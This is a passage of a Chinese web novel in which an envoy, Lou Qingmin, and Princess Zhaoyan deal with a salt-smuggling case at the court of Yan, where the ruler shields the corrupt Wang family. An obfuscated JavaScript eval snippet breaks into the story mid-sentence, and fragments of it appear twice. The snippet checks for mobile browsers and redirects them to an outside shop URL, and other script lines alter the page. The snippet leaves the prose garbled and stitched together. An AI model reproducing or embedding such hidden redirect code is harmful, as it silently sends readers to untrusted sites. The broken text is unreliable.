“不过,就算我说出来也于事无补。王堃身后之人来头很大,我就算将他供出来又如何,你们也不能将他处死,或许最后只能来个私藏粗盐从轻处置的罪名。” “相比之下,我才算那个无人庇佑的弱小……” 娄卿旻听出他言外之意,接话:“你只管说你该说的,其他事轮不到你操心。” 姜宣同头脑思虑不深,想着燕国与华纪本就亲如一家,便轻而易举地相信了娄卿旻,不一会儿便做了决定,朝娄卿旻招了招手,“那你靠近点儿,我悄悄与你说。” …… 娄卿旻忙完公事已经是夜里,天色转晴,但夜里还透着凉风。 他披了件裘衣带着暮商乘马车回到酒肆,一进门便见前几日燃着灯的屋子漆黑一片,想起那是朝颜侍女们所居之地,转头问一旁的暮均,“公主的人呢?” “已经出发前往内城面见国君了。” 动作倒是快。 不过说来也正常,朝颜自逃婚那日起便一心挂念着燕国,在贩盐之事上搁置许久,确实也该去内城了。此次朝颜真的帮了他的大忙,两次羊入虎口以身为饵,自己早已欠她不止一个人情,日后定要一一还她。 “她的伤……” 暮均知道他问谁,连忙接话:“属下接到暮商的传信便立刻通知羽堇了,公主回酒肆时,伤口已包扎完好。” 娄卿旻没什么其他动作,垂眸,长长的羽睫在眼底投下一片阴影,他抬步上楼回到自己寝室后,思考着大牢里姜宣同所言,一夜无眠。 第二日天蒙蒙亮娄卿旻还在睡梦中,听到门外传来一阵嘈杂,出声让人进来。 暮商推门而入便看到微暗室内一道男人身影半伏在桌案上,还以为娄卿旻余毒又发作了,吓得连忙跑上前将他扶着坐起身,“大人,您可是余毒又发作了?” “无事,昨夜太累,没去榻上。” 听娄卿旻说身体安康,暮商这才放下心来将司寇赵成延一早传来的竹筒信件递与他。 娄卿旻打开看了几眼,忽然开口:“姜宣同中毒了。” 18. 内城风波(一) 消息来得突然,是人都会惊讶,但暮商看着自家主子丝毫不带半点意外的神情,心中有几分小九九,他差点以为是自家大人与姜宣同独处时给他下毒了,但明显是无稽之谈。 娄卿旻不知暮商心中所想,双目凝神,紧盯着手中信件陷入深思,回想起昨日朝颜被姜宣同推了一把后,自己扑了上去,或许正是那时被十廿手中匕首伤到的。 普桑人一贯崇尚武力,就算要对付谁也是直接拎起刀剑便冲上去,断不会用暗害的阴毒之物,如此更加说明那个十廿是北狄派来的,但他为何会伪装成普桑的人? 娄卿旻不得而知,但姜宣同显然不知晓那人的真实身份,还一心一意觉得就是普桑人单纯来卖盐。 这背后究竟是谁在操控着局面? 北狄如此做,怕不是故意想打破中原本就岌岌可危的和平? 一旁恭恭敬敬站着的暮商想到朝颜与姜宣同那日眉来眼去、非同一般的关系,又多嘴追问了一句:“大人,那信上可有说伤势如何?” “死不了,会受些罪。”他言语淡然,不带一丝情绪。 “那便好,那便好。”暮商那谢天谢地的语气与神态,好似比任何人都关心姜宣同是否受伤。 这一系列关心爱护的神情反倒显得娄卿旻很不近人情,冷漠至极了。他那双琉璃色的眸子狐疑地紧盯暮商,沉默半晌,开口问:“怎么?本官怎不知你何时与姜宣同关系如此亲近了?” 暮商下意识接话:“不是属下,是公主……”他话说到一半反应过来连忙闭上了嘴,有些此地无银三百两的不明意味。 窗缝中飘来一丝凉风,吹散了桌案边上的烛火,娄卿旻敛起袖袍瞥他一眼,“欲盖弥彰?” “还是欲擒故纵?” 听到娄卿旻冰冷的语气暮商不敢再说一个字,连忙垂头弯腰做请罪姿势。 娄卿旻收回视线,正襟危坐着,手指拿起一旁的狼毫在竹简上悠悠地写着字,语气却深沉:“暮商,你身为本官的亲卫,应是知道公主是待嫁之人,此等坏人清誉之事万万不可传出城,不论你还是姜府那些人,都要将此事保密。公主清誉与王室威严容不得任何人玷污!” “倘若明知故犯……”他顿了下,又道:“便等着受惩戒!” 暮商自幼时便跟着娄卿旻,可以说是相当了解人的性子。已经察觉到自家大人话中那层薄怒,亦知晓王室荣誉是多么重要,连忙迅速接话应下。 见娄卿旻面色依旧冷淡,他转移话题又补充道:“大人属下还有一事要禀明。燕国国君昨夜知晓了司寇大牢抓人之事,今日来信说要请您入宫一趟,商议此次贩盐之事的主犯要如何处置。” 平民生死大事未必有此等关乎富家子弟的“小事”传播得快。 不过私贩粗盐确实关乎燕国与华纪两个国,国君自是不会也不能全权私自处置嫌犯,今日来信请娄卿旻亦是证明了燕国国君将华纪摆在高位,对华纪来的少傅亦是青眼相待。 “待我梳洗一番即刻出发。” 娄卿旻站起身朝着内里走去,替自己寻了一袭崭新的袍子换上。 * 连着两日的大雨将泉城街道上的灰尘冲刷得一干二净,扑面而来的潮湿气息带来为人们带来了别样的心绪,城主府门前两座石狮经过风雨洗涤后愈加雄姿勃发,静静守着偌大府邸,令人心安。 城主姜贯因夜里降温未添衣感染了风寒,连着几日都卧在榻上起不了身,每日都是贴身婢女亲自侍奉他梳洗用膳。重病迟迟不好便没有功夫打理城中事,故而全部交由他的知己好友仲清帮他暂时监管。 前几日有位信使早早将信送来,仲清见到竹筒上署名为姜宣同,便也没送到姜贯房里。 姜宣同那个小子来信一向没什么正事,不是没银钱了便是讨要姜贯府上珍藏的美酒。此次他顾念着姜贯的病,也不想打搅他,便将信随意丢在一边。 直到这雨后一日侍卫从府外听到小道消息,说燕国外城东城的姜宣同被抓入大牢,还是私贩粗盐的罪名被官府的人当场抓获,要将其处死。这天大的罪名从百姓口中传来传去,直至传到城主府,给了仲清和姜贯当头一棒。 仲清连忙把姜宣同传来的信件送到姜贯手上,虽已经迟了,但还是要看。 本以为与贩盐之事有关,不想信中提到的却是姜妤泉与她所诞下的华纪嫡公主朝颜。 仲清最先看完信,难以置信地盯着姜贯,开口道:“难道真是令妹的小女儿?” 从前他年幼之时在燕国,便听说过姜妤泉那位才女,八岁便作了一手诗,连字都写的十分隽秀甚至比一些才子的字迹更加好看。 曾几何时他还将其奉为女仙神,但那时的他无功无名又家境贫瘠,实在是不敢对姜妤泉那样的才女表明心意,只敢远远地看上一眼。 后来他为日子奔波之时,偶然知晓此等才女亦是华纪国国君朝穆所钦慕的,他也不意外,甚至觉得那样威高权势之人都不一定与之相匹配,但普天之下除了国君又有谁配娶她为妻? 但苍天总是爱开玩笑,如此才貌双全的完美之人,偏偏让她难产致死…… 虽然事情已经过去许多年,但仲清每每独坐看书时,依旧能回忆起那美艳的多才之女。几分酸涩涌上心头,喉间也有几分难言的郁结。 照姜宣同信中所言,他在外城所遇女子容貌不菲举止端庄,还见识不凡,身份定有来头。 但姜贯未见到人一时半会儿也拿不定主意,事发突然,一件又一件连着打了他个措手不及,老毛病又犯了,他忍不住咳了几声,情绪七上八下的,话语断断续续: “或许是?不过我前些时日听闻小道消息说……咳咳……华纪要让她嫁到普桑和亲,按道理她此时此刻应该在宫中待嫁才对,咳咳……为何会出现在燕国?” “若不然即刻启程去东城一见?” 谁知仲清话音刚落,门外小厮便带着宫里人的口信来告知姜贯:“启禀大人,国君下旨让您即刻启程入宫,商议公子罪状如何处置……” 二人相视一眼,在与朝颜相认前,要先想想如何解决姜宣同这件棘手之事。只见仲清意味深长地拍了下姜贯的肩颈,缓言:“该来的总会来,一个也躲不掉。” 姜贯沉沉叹了口气,“唉!那逆子还真是不让人省心!” “不是花天酒地就是想着法子赚取不义之财,你说轻松得来的财他用着安心吗?我行善积德多年为何就生出如此顽劣不堪的公子?贩卖私盐乃死罪一条,我要如何才能保下他?恐怕豁出这条老命都不够罢!” “还有那王家,王堃、王酉铭没一个好人!非要将所有人都逼死,他一人独大才肯罢休吗?” 仲清知晓他话里言外之意,对于王家的胃口之大二人心照不宣,只是王室座上那位国君太过年轻仁慈,任用佞臣,如此下去燕国迟早败落在他手中。 “姜兄打算如何?”对姜宣同。 姜贯正直无私,自小便读了许多圣贤书,从前与国君联手打下这片天下后便久居于泉城修身养性,不贪权不敛财,甚至从来不去关心朝堂之上的事务,自新任国君燕融继位后他便辞了朝堂上的官职独坐家中,守着泉城这些百姓,多年来亦是奉公守法积德行善。 唯有膝下这位独子,早年丧母,怕他心里不平衡姜贯总是给他最好的,也不舍得罚他,才将他惯得无法无天,不知自己几斤几两了。 他沉思许久,沉沉地看了仲清一眼,义正言辞道:“私自贩盐是重罪,我自是不会包庇,如今能保他一命便是好的了,仲清啊,这些时日多亏你帮我打理府中事务,姜某不知如何报答,若此次能救下我儿,我便用我这后半生的荣华富贵尽力到国君面前推举你,看看是否能帮你谋个一官半职。” 姜贯所言句句为肺腑之言,如此直白让仲清面上反而多了几分报赧,“我何德何能让姜兄用半生幸福去换取我的一官半职,这对你与泉城百姓都不公平……” “何为公?何为平?仲清你就莫要推辞了,你这些年兢兢业业一心专研各类兵书政事,不就是为了有朝一日能辅佐国君完成自己的鸿鹄之志么?” “我视你如知己,你也应该懂我。我这身体一日不如一日,若东城那位真是朝颜,我见她一面解了我对妤泉的相思之情,届时我便带着我那逆子寻一处安稳之地帮他娶妻生子,度过为数不多的几年便足矣!” 姜贯说这话是真心的。 他自年轻时便享受过荣华富贵,先后经历丧父丧母、丧妻丧妹,生了一场病,使得腿脚一瘸一拐行走不便,如今只觉得人能平安活着便是最大的快乐了,哪里会去管什么家国什么庙堂。 “仲清在此,谢过姜兄!” 说罢,仲清直接趴跪在地,朝姜贯一拜一叩首,又道:“抛开你我兄弟之情,仲清也要多谢城主大人的美意!您对我的知遇之恩,仲清无以为报,若日后你有什么麻烦,你尽管来找我,我定会好好报答!” 架不住仲清的谢言,姜贯将他扶起,面上扯了个笑容,又道:“日后的事日后再说,眼下这几日还是要拜托你暂居我府上替我照看府中大小事务,我那逆子与朝颜公主之事,没个三五日怕是回不来。” “姜兄,有我在,你放心去好了。” 不过半刻后,一匹快马自泉城城主府飞速而出,紧随其后的是姜贯所乘的马车。 出了城门,姜贯坐在马车上,回首看着高大城门上明晃晃的“泉城”两个大字,心中涌上一抹不舍。 但他深知有些事、有些东西是该物归原主,做个了解了…… 雨过天晴,万里长空之上,日悬中天。 朝颜昨日回到娄卿旻酒肆后,让羽堇又去商铺租了辆马车,几人便快马加鞭赶路,整夜不眠不休,天不亮便到了燕国内城。出示符节后进入内城廓州,见到一片繁华热闹的景象,少数的百姓穿着比麻布略舒适耐磨的葛布深衣,更有甚者穿着丰富多彩的锦绣丝织在街上晃荡。 再往里走便是衙署建筑与王公贵族所居之地,高大坚固的宫墙看上去便是个易守难攻的宝地,若非前世有人里应外合,燕国怎可能那样轻松便被贼人拿下? 朝颜一行人拿着表明身份的信物,经历重重把关才入皇城见到燕国国君燕融与王后朝弦。 槐夏羽堇和连瑕被安排到公宫偏殿休憩,朝颜梳洗打扮了一番,入乡随俗,梳了个干净利落的朝天髻,换了身杏黄曲裾裙,便独自去少寝宫面见国君与王后,国君燕融方从朝宫上完朝回来,金色朝服都未换下就与朝弦一齐用膳,说是常年如一日,用完膳再回去处理政务。 二人的感情至深,恨不得整日黏在一起。 朝颜来时燕融用完膳正要离开,二人打了个照面,朝颜垂下头便弯腰俯身行了揖礼,“拜见王上、王后。” 男人朝服泛着金光,雄厚嗓音中带着那张年轻面容上看不出的沉重,“快起来吧。孤有事处理,你二人许久未见,先陪王后说些体己话罢!” 朝颜应了一声是,燕融便快步离开了。 朝弦还如年幼时一般喜爱朝颜这个表妹,一见到她便亲切得很,跑上前去拉着她的手,急急问道:“颜儿,你为何会来燕国?我听人说你已经与普桑的太子许下姻亲了,为何……” 女人软若无骨的柔荑比朝颜奔波许久的手要更白更细腻,朝颜握住那抹温热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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朝弦语气柔柔地问她:“何事?” “你可知城东的姜宣同?他因贩卖私盐一事被司寇抓入大牢,但他已经知道错了,还将功赎过帮司寇大人抓住了买盐之人,我想让你与国君网开一面,让他少受些罚。”如若不然,依照娄卿旻那样严厉的性子,姜宣同定会少了半条命。 朝弦下意识接话:“泉城城主之子姜宣同?” “难道你不知情吗?他是你表哥。” “表哥?” 什么表哥? 朝弦这番话弄得她一头雾水,她只知道自己有个亲哥哥朝饶,堂姐朝弦,从来不知有什么表哥会姓姜。但她脑中多了几分猜测,母亲姓姜,名妤泉,或许是母亲这边的家眷? 见朝颜如此疑惑,朝弦便将姜妤泉与姜贯的关系与朝颜从头到尾讲了出来。她久居燕国,也听到了民间有关上一辈的传言,清楚知晓其中的爱恨纠葛与遗憾,心中更是对朝颜逝去的这位母亲多了几分尊敬,想不到华纪的先王后年轻之时也是位大名鼎鼎、受万人敬仰的才女。 朝颜听完她这一席话,总算是明白了,原来自己与姜宣同竟有这层关系,难怪那姜宣同那日在大牢中支支吾吾说不出话的模样,想来是一早便知道她的身份,也难怪她被姜宣同禁在府上那几日不仅不被亏待,还好吃好喝供着她。 至于母亲在外传言如何,她从未打听过,她本就未见过母亲的模样,只是每年忌日都会去王陵祭祀一番,她心底是有些自责自己害得母亲难产,但那也不是她能决定的,自责亦无用,自己的父亲与众人已经将罪名安在她身上,令她难堪。 若她自己也要怪自己,不救自己于水火,那她便一日都难以苟活。 至于姜宣同,她昨日来内城也路过姜府了,她进府上看了看,府上管家说泉城并未来信,或许姜宣同让她看信便是想通过信件告知她与他的关系。 朝弦解释完一切,回忆起朝颜那句为人求情的话,大吃一惊:“但你说他居然偷偷贩卖私盐?那可是大罪,若严重了可是要被抄家诛九族的!” “这可怎么办是好?” 毕竟姜宣同也是半个皇亲国戚,若真犯了事也会提前通知宫里人才处置。这不朝颜前脚刚说完,后脚便有探子来报,“王后,听前朝说,司寇大牢昨日抓的姜公子中毒昏迷不醒了。” 中毒?昏迷不醒? 两道惊天消息如同大石重重砸在朝颜身上,将她弄得内心波澜起伏,面色焦急,言语凌乱:“怪我怪我,若不是那日我在,他便不会为了保护我自己扑上去,也不会中毒,我要快些去看看他。” 探子见朝颜慌里慌张,连忙上前安慰道:“司寇大人已经找医者帮他解了毒,危及不到生命,公主您放心便好。” 朝颜被安慰了几句明显状态好了,朝弦将一切看在眼里,又出主意:“既然他为保护你中了毒,那也算将功补过。我去同国君好好商量一下,看看是否能看在他将功赎过的份上少挨些打,不然他那条命都不够罚的,只是你也要知道他这罪状不轻,不死也要褪层皮。” “我明白。”话毕朝颜脸上多了一丝淡淡的笑意,连忙起身行礼道:“多谢堂姐!” “你我姐妹之间还这么客气做什么?听说华纪那位少傅也来了,不知你路上可有遇见他?午时国君在公宫设宴迎他,届时你也去坐坐,就当是陪陪我可好?” 朝颜知道她说的是娄卿旻,反正二人早就见过不止一次,如今既然都来了内城,用一顿膳而已,正好那日不辞而别,自己还有话与他说,便应下了:“好。” 19. 内城风波(二) 晴天蔽日,澄澈白云铺满整座皇城,前日那场瓢泼大雨送走夏末迎来初秋,仿佛一场淋漓尽致的洒扫,灰尘尽数散去,空气都明净许多。 娄卿旻带着暮商各自驾着匹枣红色的马抵达内城入宫后已是晌午,国君专门派人在宫门外候着,一见到娄卿旻下马便直接带他去公宫参加宴席。 燕国与华纪礼仪规矩大差不差,娄卿旻赶到公宫大殿时,坐席几乎都坐满了人,唯余高台之下两个对着的座位还空闲着,他思虑一番,坐到国君右下方第一个座位。 刚入座,便见到右侧的燕国朝臣一副慈祥和蔼的面貌对着娄卿旻笑了笑,打了声招呼,几根泛着银光的发丝紧贴在发顶,娄卿旻推测此人应是不惑之年。 不了解娄卿旻的,一见他便以为他是个沉默不语的冷情人。 但他也有八面玲珑的一面,见燕国朝臣如此和善,他也收了自己的严肃神态,唇角微微上扬,礼貌与之打了声招呼。 二人几番话语下来,娄卿旻知晓眼前人乃燕国主持政事的左师,名为周鉴,而他右侧那位身材高大魁梧,让人不寒而栗的是大司马余姚,主掌军令。 紧接着周鉴便为娄卿旻介绍自己对面所坐之人,乃掌握燕国财务大权的右师,王酉铭。 燕国的左右二师与华纪的丞相类似,也细分为政务、财务两位,大司马则相当于将军一职,主管军中大小事务,这几位分工明确可谓各司其职,娄卿旻与王酉铭相视一眼,各自笑笑便收回视线。 众人座位看似平平无奇,实则很有讲究。 与华纪类似,燕国百官也是以左为尊,三大朝臣唯独王酉铭一人居高台左侧,足以见其野心之大。 剩下几位便不争不抢,随喜而坐。 姜宣同口中的“大人物”王酉铭的长相模样与娄卿旻想象的不太一样。 本以为会是个狠绝严厉的人,不想却是一位菩萨低眉的小老头,不笑的时候人畜无害,微微一笑便让人想亲近,但娄卿旻深知这是位笑里藏刀的笑面虎。 反观大司马,一副古板威严的面貌,气质十分正气老派,扑面而来的血性压迫感让人不敢放肆。 几人附和着说了几句场面话,便沉默下来,独自待着。 午时一刻,殿外宫人禀报说王后朝弦携华纪国的朝颜公主一同来了。话音刚落,便见一道明黄一道杏黄前后脚进了殿,美女子的出现一下便吸引到满殿所有人的目光。 表姐妹之间也有相似之处,身材同样高挑,模样也是一个胜一个明艳。她们缓缓迈着步子路过众人时,衣决飘飘,仿佛在众人心间上起舞般,让人心潮澎湃忍不住想多看几眼。 全场已坐满,唯余一位空闲之地,朝颜便知自己的座位被安排在王后左下方,与娄卿旻正面对坐。 朝颜不识得周围人,将王后送至高台便自顾自地回到那个空位置坐下。 她未带侍女,整个大殿除了王后她便只识得娄卿旻一人,好奇心促使她抬眼看过去,娄卿旻那身淡色锦袍与这满殿的明艳色彩对比,格格不入,但那素白却也将他衬得多了几分少年感,有玉树临风之姿。 他此刻正与身侧人交谈,一举一动十分优雅,似乎是察觉到朝颜的视线,娄卿旻谈话间突然转过头望向她,二人隔着空气相视一笑,以示礼节。 娄卿旻再转头回来,表面与旁边的周鉴相谈甚欢,实际余光却在暗暗观察着朝颜,见她脖子上围了一层薄纱,眼神沉了沉,而后又将注意力放在朝颜左侧那位大人身上。 也是奇怪,王酉铭身为一个掌管财务大权的朝臣,应是能说会道之人才对,为何如此安静? 不与人搭话也不动,一直安安静静打坐似得,莫非是他做错事心虚?亦或是在思考如何解救王堃?毕竟今日之事与他那位好外甥脱不了干系。 又等了许久,燕国国君最后一个到场。一袭蟒服金袍加身,霸气侧漏,身后跟着几个侍奉宫人,一步一步走向高台。 入座后便对着娄卿旻与朝颜抬了抬下颌,示意二人端起酒杯,“孤不知华纪派人来燕国,有失远迎有失远迎啊!还望公主莫怪!娄少傅莫怪!” 娄卿旻隔空给了朝颜一个眼神,朝颜立刻顿悟,此刻他们是一条绳上的蚂蚱,自然应该站在一处。而后她撩着衣裙站起身朝燕融一拜,端庄接话:“国君日理万机,也是我们未经允许来此叨扰,应是国君不要生我们的气才好。” “哪里的话?你与王妃也许久未见,华纪与燕国离得近,你多来走动走动理所应当,孤高兴都来不及!你说是吧爱妃?”燕融忽然点到王后,身侧的朝弦盈盈一笑,柔柔接一声是,二人便当着众人的面在案上牵起了手。 底下朝臣对此见怪不怪,也没有任何反应,整个宴席上,反倒是朝颜与娄卿旻见此情此景觉得有失体统,本想转移视线不看他们,不想居然在高台之下对上,二人刹时满面窘迫,替燕融与朝弦羞愧。 娄卿旻知晓自己今日来此主要目的不是用膳也不是饮酒作乐,趁着众人还未反应过来便直接起身对燕融一拜,直截了当地道出所来目的:“回国君,臣奉王上之命调查粗盐少量之事,未提前禀明便不请自来,是臣的失职。” “粗盐少量?”燕融闻言发出疑问,好似今日才知晓此事。 “国君有所不知,燕国派人送去华纪的粗盐与之前相比,已经连着两个月少了五斗。” 娄卿旻站到大殿中央,抬臂朝燕融一拜,礼仪姿态十分周全,又道:“起初王上并不在意,毕竟制盐与运盐途中,有失有得是正常现象,但连着两个月均是如此,臣不得不怀疑是否有人从中作梗。国君请恕臣有猜忌之心,臣以为,是有人故意挑拨我二国之间同盟已久的和平关系。” 他故意这样说便是想让某些背地使坏之人紧张起来。 不料燕国国君没听出他话里的深意,替自家人解释道:“娄少傅说笑了,何人敢挑拨?” 燕融昨夜便收到底下人呈上来的文书,猜出其中猫腻,见娄卿旻如此抓着不放,他放下手中酒杯,故作善解人意之姿态,解释道: “不过是那姜家公子太贪心,想着挣点银子花花罢了,你时常游走各国都城,想必也知道富贵人家总能教养出些不学无术的纨绔子弟,不知天高地厚私下做错了事,如今既已经抓获,索性未酿成大祸,依孤看……” 见燕融戛然而止,娄卿旻很给面子,主动接过话:“国君打算如何处置?” “大事化小,小事化了,这次狠狠罚过保他下次不再犯便好了。” “臣以为,不妥。” 言罢,只见高台上那道金黄身影夹菜的手顿了一下,而后将银箸放在一旁,表情沉了下来,明显不悦。 娄卿旻说完那句话便直直站在原地没什么动作,郑重其事地抬眸对上燕融,姿态挺拔正直宛若松柏,身上风范与王者一般无二,丝毫不落下风。 朝颜也在全神注目地盯着这场戏,见燕国国君寥寥几句就将其他人统统摘了出去,把偷盐藏盐贩盐的责任全部推到姜宣同一人身上,实在是让人寒心。 但朝臣在场,事关国家大事,涉及两国利益,王后都在一旁观望默不作声,以她的身份实在是不方便插嘴,只能听他二人一来一往,谁也不让谁。 朝颜的脑袋早已陷入冰火两重天,一边觉得姜宣同不受惩罚是好事,一边又觉得责任错误全部推到姜宣同一人身上着实不公平。两种想法在脑中来回打转,只能把希望寄托在娄卿旻身上,看他如何做。 果然不出朝颜所料,娄卿旻半点不低头,仍然想方设法把话题引到幕后之手身上,“国君,臣以为以姜宣同一人之力无法干出偷盐藏盐贩盐这些事,更何况那卖盐之人又是从何处认识的?应从根本上解决这个问题才能保证日后不再重蹈覆辙。” “如此臣回到华纪也能如实禀明王上,让王上念在二国联姻的份上,不过分追究此事。” 见娄卿旻搬出朝穆,又说到朝弦,燕融面上显然有些烦闷,皱着眉唤来宫人,问道:“那制盐的盐官何在?把他带上来,孤倒要问问究竟是何人指使他干出如此偷鸡摸狗之事!” 不一会儿,宫人便将王堃带了上来。 朝颜这才见到盐官王堃的真面目,他穿着一袭灰色长衫,白面书生模样,走路一板一眼十分稳重,与姜宣同那样慵懒的姿态截然相反,看上去像是位顾家大丈夫,只是面上那双上挑的眼睛让他多了几分难以言表的精明。 他被带到国君面前,娄卿旻便主动退回座位上。 “王堃,你老实说来,你偷盐究竟是受了谁的指使?”燕融语气严厉,黑瞳死死盯着台下人,问话却带着不加掩饰的诱导意味。 王堃闻言,被吓得脸色一变,神情十分慌乱,“噗通”一声跪坐在地对燕融磕了个头,语气哽咽着解释:“回王上。都是那姜公子,非说有个大买卖与我合作,我起初本不想理他,但后面他说能挣到比盐官俸禄更高的银钱,我这才鬼迷心窍答应他夜里偷盐,把盐藏到他府上,其他的我什么都不知道了。” “那普桑的人可是你找来的?” “回王上,不是臣找来的。您也知道,臣的职位是伯舅提拔上来的,臣怎么敢干出有损燕国利益之事?怎敢跟普桑的人合作?那样做不仅会寒了伯舅的心,臣的父亲也会重重责罚臣!” “王上明鉴,王上明鉴啊!”说着他便哭喊着跪地求饶,全然不顾面子里子。 朝颜离王堃最近,见他如此哭哭啼啼,十分吵闹,脑袋嗡嗡响,两道秀眉拧在一起。 她认真盯着眼前人,想看看这人是在装模作样还是怎样。 但盯了他许久他还是那副悲惨脸色,不仅如此还愈来愈入戏,额头重重砸向地面红肿起来,甚至都见了血,朝颜看着都有些不忍,难道他是真的怕死才作此状? 不知是谁从远处坐席中起身,一下便大步跑到王堃身后,半跪在地对着他的腰背便狠狠拍打上去,咒骂道:“你个吃里扒外的东西,真是枉我与你伯舅待你如此上心。” 原来是王堃的亲父。 但是这二人就这样公然在大殿上喧哗起,朝颜都有些目瞪口呆。偏偏高台处坐着的国君燕融对此不管不顾,任由二人拉扯争执不休。 王堃父亲揪着王堃的耳朵,大声呵斥:“你为何听信小人谗言?安安分分当你的盐官领着俸禄不好么?为何非要走上歧路?你犯下如此过错,你叫我与你伯舅的脸面往哪儿搁?又将国君置于何地?咳咳……咳咳……” 说完话他忽然重重咳了几声,捂着嘴前仰后倒,像是要把心肺咳出来一般。 朝颜捏起一旁的点心慢慢品尝着,看他们上演一出父慈子孝,你来我往的教训戏码,着实无趣,原本都快出戏了,再抬眼,又见一道身影快步走上殿中央加入这场闹剧。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405605|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 是右师王酉铭,自家两位在殿前失仪,他坐不住了,借着王堃父亲要晕厥的理由冲了出去一把将他要下坠的笨重身子托住,惊呼:“贤弟!你如何了,要不要送你去太医院?” “不必,我就是一时气急攻心,休息片刻便好!” “只是这逆子着实难管教!简直气煞我也!” 燕融坐在上面俯视了他们三人好半晌,面色逐渐多了几丝不耐烦,最后才大手一拍案,开口提醒:“好了好了,王太史不必如此生气,人非圣贤孰能无过?保重身体要紧。” 几人在大殿之上不顾其余人就这样吵闹起来,一唱一和,配合得简直天衣无缝,若不是朝颜知晓姜宣同的性子,或许真的要如其他人一般信了他们的鬼话。 但娄卿旻血性方刚,为人处事一贯追根究底,不依不饶,朝颜才不信他能就这样放过王堃,果不其然,下一秒便见男人又起身站到殿前,一本正经提建议:“国君,臣还是觉得以姜宣同一人之力无法……” “娄少傅,说完王堃之错,孤便要说说你的不是了。” 燕融忽然出声打断娄卿旻的话,又道:“自古便有人为财死鸟为食亡这句话,有些人一到贪图享乐之事上,什么过分的龌龊法子都能想出来。就算是王亲国戚也免不了责罚,不过念在王堃也是受人胁迫,当任盐官时亦是尽职尽责,孤便罚他禁足在府内一个月好好面壁思过,他前半年的俸禄都要充入国库,看他日后还会不会为了一己私利便听信小人谗言!” 燕融匆匆说完直接给了最轻的处罚,显然就是要包庇。 而台下的王堃一开始并未反应过来,最后是被王酉铭一道狠厉的眼神示意提醒过后,打了个激灵,连连跪地叩首,“谢国君,谢国君,臣日后定不会再犯!” 朝颜在左侧,把王酉铭突然变脸的表情收入眼底,硬生生坐直了身子,探究地打量着王酉铭。心道这三人都不是什么简单的人。 高台上的燕融知晓娄卿旻不会善罢甘休,思索片刻便转了话语,“好了,王堃既已认罪也受罚了这件事便到此为止!娄少傅,孤还有件别的事想问问你的意见。” 燕国国君也是聪明的,惯会下套。 娄卿旻身为外来朝臣,自是不能公然驳了他的面子,只能应声接话:“国君请讲。” “泉城城主人远在百里之外故而今日未到,但他昨夜加急派人送来一个东西。”说罢他示意身侧宫人拿出一封信,还有一个暗红色木匣,他不急不慢地从中取出一个白虎玉印亮给众人看。 印玺是掌权之物,又与泉城城主有关,台下众人一看便猜到是城主之印。 一切不言而喻。 城主都已主动奉上城主之印,表明要用整座城池的掌权来换他儿一条命。而燕融姿态更是明晰,他已经收下城主之印,也要让娄卿旻手下留情。 宴席底下坐着的还有几位过气了的前朝功臣,知晓那泉城城主曾经的辉煌,亦明白若非他助建国国君一臂之力,燕国便不会有如今的繁华都城与百姓的安居乐业,而今为了保自家儿子一命却要主动上交苦心经营多年的心血,抛弃所有荣华富贵空手而归,实在令人惋惜。 用之如锱铢,弃之如敝履,不论王对臣,或是官对民,谁都逃不开。 燕融已经没什么耐心了,双目微阖对上娄卿旻深沉的目光,毕竟是高高在上的国君,言语中有几分威慑:“依娄少傅所见,姜宣同犯下死罪是该立刻赐死?还是念在城主往日一心为国效忠的份上,饶他这位独子一命?” “百行孝为先,姜宣同虽犯下大错好在还未酿成更大的祸事,应留他一命日后孝养父亲,也算国君对城主最后的善心,也不枉他对燕国忠心耿耿这些年。” 娄卿旻一席话毕,周围鸦雀无声,眨眼间高台便传出一阵清脆的拍掌声。 抬眸望去,动静出自燕国国君。 他拍完掌便直接笑了几声,很是欣慰地看了一眼娄卿旻,意味深长道:“孤觉得你所言甚有道理,恰好王后方才与孤说姜宣同还救了朝颜公主一命,既如此那便更要从轻发落了。” 好个阴险狡猾的国君。 在此之前分明有无数种理由,不收回城主之印就能免去姜宣同死罪,非要闹今日这一出,让众人以为是国君看在前朝功臣的面子上才网开一面。 而娄卿旻在此局中充当坏人,不断诉说贩盐之罪有多么重,不断劝国君彻查嫌犯,最后王家泼脏水,泉城城主再来一出苦肉计,燕融顺水推舟救下姜宣同,最后体贴功臣、识大局的好名声全部由他一人担着。 反之娄卿旻不松口,便会沦为众人口中绝情狠心、愚忠的名声。 实在是一出绝佳好戏,不止娄卿旻这位戏中人摸不着边,就连朝颜这个戏外看客都被这一出整得哑口无言,但她想不通的是,娄卿旻那样心思缜密的人居然也会中计? 一切已成定局,娄卿旻亦不再言语,寻了个借口便离开宴席。燕融见自己的目的达到便也带着王后离开高台,众人一阵哄闹后也慢慢散去。 本是一场迎客宴硬生生成了姜宣同的定罪宴。 最终处置结果便是收回城主姜贯的掌权之印,派新人上任,而后还将姜宣同府上所有银钱全部充公到国库,东城属于姜家的酒肆与府邸也尽数被封,不仅如此,国君还下令待姜宣同解了毒,修养好身子,还要接受司寇牢狱五十大板的惩戒以儆效尤。 20. 内城风波(三) 闹剧一场,午时已过,正是骄阳似火时,纵使秋日也有几分闷热。 娄卿旻拜别国君出了公宫便孤身一人顶着烈日前行,他记忆力比寻常人强百倍,方才入宫被宫人带过路,现下已熟识整个燕国皇城与各个宫门的位置。 他脚下疾步如飞,中途路过东宫,一直向北走,找到来时宫门,远远地便看到暮商在那里候着。 正要上马,忽听一阵明亮婉转的女音顺着凉风从身后袭来。 